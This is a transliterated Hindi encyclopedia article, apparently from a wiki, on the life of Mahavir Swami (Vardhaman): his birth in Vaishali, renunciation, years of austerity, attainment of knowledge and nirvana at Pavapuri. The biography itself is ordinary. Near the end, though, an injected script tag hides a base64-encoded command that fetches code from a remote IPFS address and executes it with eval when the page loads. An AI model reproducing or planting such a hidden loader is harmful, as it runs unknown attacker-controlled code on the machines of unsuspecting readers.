वर्धमान
mahavir
Mahaveer|thumb|250px
vardhaman / mahavir svami
mahavir svami (vardhaman) (janm- 599 ee.poo. — mrityu- 527 ee.poo.) vishv ke un mahatmaoan mean se ek the jinhoanne manavata ke kalyan ke lie rajapat chho dakar tap aur tyag ka marg apanaya tha. bachapan se hi unamean mahanata ke lakshan drishtigat hone lage the. 30 varsh ki ayu mean van mean jakar 'keshaloch' ke sath unhoanne grih tyag kar diya. 12 varsh ke kathor tap ke bad jambak mean ek shal vriksh ke niche unhean sachcha jnan prapt hua aur kramashah unake upadesh chaturdik phailane lage. bimbisar jaise b de-b de raja unake anuyayi ban gaye. tis varsh tak mahavir ne tyag, prem evan ahiansa ka sandesh phailaya. jain dharm ke ve 24vean tirthankar the. vardhaman mahavir ka janmadin mahavir jayanti ke roop mean manaya jata hai.
janm aur shiksha
vardhaman (mahavir) ka janm 599 ee.poo. vaishali (jo ab bihar prant) ke ek kshatriy parivar mean hua tha. inake pita ka nam siddharth aur mata ka nam trishila tha. vardhaman chaitr shukla, 13 ko somavar ki pratah janme the. 5 varsh ki ayu mean unhean gurukul mean padhane ke lie bhej diya gaya. ve sanskrit ke prakand vidvan the. lekin balyakal se hi ve adhyatmik vishayoan ke bare mean sochate rahate the. vardhaman ke tis varsh sukh-sampada mean vyatit hue. shvetaanbar jainiyoan ke anusar unaka vivah yashoda namak kanya se hua tha, jisase unhean ek putri priyadarshan utpann huee. unake man mean vairagy utpann hua to lokaantak devoan ne us bhav ko vishesh prashray diya. margashirsh, krishnapaksh ki dashami ke avasar par mahavir ne grihatyag kar diksha grahan ki. uttarottar alaukik upalabdhiyaan badhati geean. sabase pahale unhoanne sat rriddhiyaan prapt kian. ek shmashan mean rudr ke upasarg ko dhairyapoorn grahan kar avichal rahane ke karan ve 'mahativir' kahalae.
jnan ki prapti
30 varsh ki ayu mean mahavir ne grihatyag diya aur ek varsh tak vastr dharan karake bhatakate rahe. tatpashchath unhoanne vastr, bhikshapatr adi sabhi chizoan ka tyag kar diya aur ghor tapasya mean lin ho gaye. lagabhag 12 varshoan ke kathor tap ke pashchath unhean 'kaivaly jnan' prapt hua. tatpashchath unhoanne jivan bhar ghoom-ghoom kar apane mat ka prachar kiya. vaishakh, shukl paksh ki dashami ke avasar par rrijukula nadi ke tat par sthit jrianjagram mean unhean keval jnan ki prapti huee. devataoan ne tarah-tarah se apane harsh ka udaghosh kiya. indr ne kuber ko ajna di ki vah samavasaran ki rachana kare. indr svayan gautam gram se indrabhooti brahman ko, usake paanch sau shishyoan sahit laya. un sabane vardhaman ka shishyatv grahan kiya. is prakar mahavir ne lagabhag tin varsh tak dharm ka prachar kiya. taduparant kartik, krishna paksh ki chaturdashi ke antim muhoort mean unhoanne nirvan prapt kiya.[1]
nidhan
vishvabandhutv aur samanata ka alok phailane vale mahavir svami, 527 ee.poo.72 varsh ki ayu mean pavapuri (bihar) mean kartik krishnaa 14 (dipavali ki poorv sandhya) ko nirvan ko prapt hue.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
- ↑ vardhaman charitam, sarg 17-18
sanbandhit lekh
varnamala kramanusar lekh khoj
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